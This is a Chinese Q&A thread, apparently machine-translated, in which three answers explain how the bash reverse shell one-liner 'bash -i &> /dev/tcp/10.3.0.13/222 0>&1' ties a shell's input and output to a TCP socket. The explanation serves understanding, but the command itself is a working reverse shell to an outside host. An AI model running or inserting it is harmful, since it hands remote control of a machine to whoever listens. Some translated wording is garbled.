尝试理解该命令:
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
这意味着“bash -i”的STDIN将获得STDOUT内容?
答案1
&> file
本身与 相同> file 2>&1
,即在文件描述符 1 上以只写模式打开file
,并将该文件描述符 1 复制到文件描述符 2,以便 fd 1 和 2(stdout 和 stderr)都指向该文件描述符打开文件描述
0>&1
0<&1
(与或相同<&1
)将 0 (stdin) 添加到列表中。它还将 fd 1 复制到 0(使 fd 0 指向与 fd 1 指向的相同资源)。
现在,当执行> /dev/tcp/host/port
in时bash
(就像在 ksh 中,该功能来自该功能),而不是执行 a open(file, O_WRONLY)
,bash
而是创建一个 TCP 套接字并将其连接到host:port
。那不是一个只写重定向,这是一个读+写网络套接字。
所以最终得到的 fds 0、1 和 2 都是bash -i
TCP 套接字。当bash -i
读取其 stdin 时,它会从套接字读取,因此从位于另一端的任何内容读取,host:post
并且当它(或从那里运行的任何命令)写入 fd 1 或 2 时,它会通过该套接字发送。
答案2
让我们一步一步来。
bash -i
:打开交互式 shell&>
:将标准输出和错误重定向到打开到 IP 10.3.0.13 的套接字,该套接字将在端口 222 上侦听0>&1
:我喜欢将其读作 0<&1。这实际上意味着“0”附加到“1”,这意味着标准输入附加到标准输出,并且从要点 2 中我们知道该 bash 进程的标准输入可供在端口 222 上侦听的攻击者使用。
答案3
简而言之,该命令打开一个交互式 bash shell,该 shell 通过 tcp 套接字从 ip 指定的主机读取输入并将其输出和错误传递到该主机。
详细信息:(!!!由于我不是专家,某些描述可能不准确或不精确。)
&> /dev/tcp/10.3.0.13/222
有两个部分。第一的:
/dev/tcp/10.3.0.13/222
Bash 在重定向中使用时会专门处理多个文件名,例如
/dev/tcp/host/port
如果 host 是有效的主机名或 Internet 地址,并且 port 是整数端口号或服务名称,Bash 会尝试打开相应的 TCP 套接字。
第二:
重定向
&>
运算符,用于将标准输出和标准错误定向到同一文件。
因此,&> /dev/tcp/10.3.0.13/222
意味着打开相应的 TCP 套接字并将标准输出和标准错误重定向到套接字。
重定向实际上分配一个新的文件描述符,该描述符引用与旧描述符相同的打开文件描述。
打开文件描述是系统范围的打开文件表中的一个条目。打开文件描述记录了文件偏移量和文件状态标志。文件描述符是对打开文件描述的引用;如果随后删除或修改路径名以引用不同的文件,则此引用不受影响。
因此,实际上站输出和误差(它们实际上是文件描述符)和套接字的文件描述符现在指的是同一个打开文件描述。这意味着只要 bash 有输出或错误,这些数据就会写入套接字并发送到上面指定的目标主机。
0>&1
重定向站立输入到站输出。使用上面的想法,它的字面意思是站立输入指的是相同的打开文件描述这是由站输出;这与也被引用的相同误差和套接字的文件描述符。这意味着每当执行此命令的主机通过TCP套接字,bash 将其读取为输入。
如果不了解重定向的实际含义,则很难理解重定向的含义。站立输入到站输出。这并不意味着阅读站输出作为站立输入,因为它没有意义。它实际上意味着站立输入和站输出指的是相同的打开文件描述。因此该命令读取输入并将其输出传递到同一个文件,就像这里的套接字一样。
参考:
https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html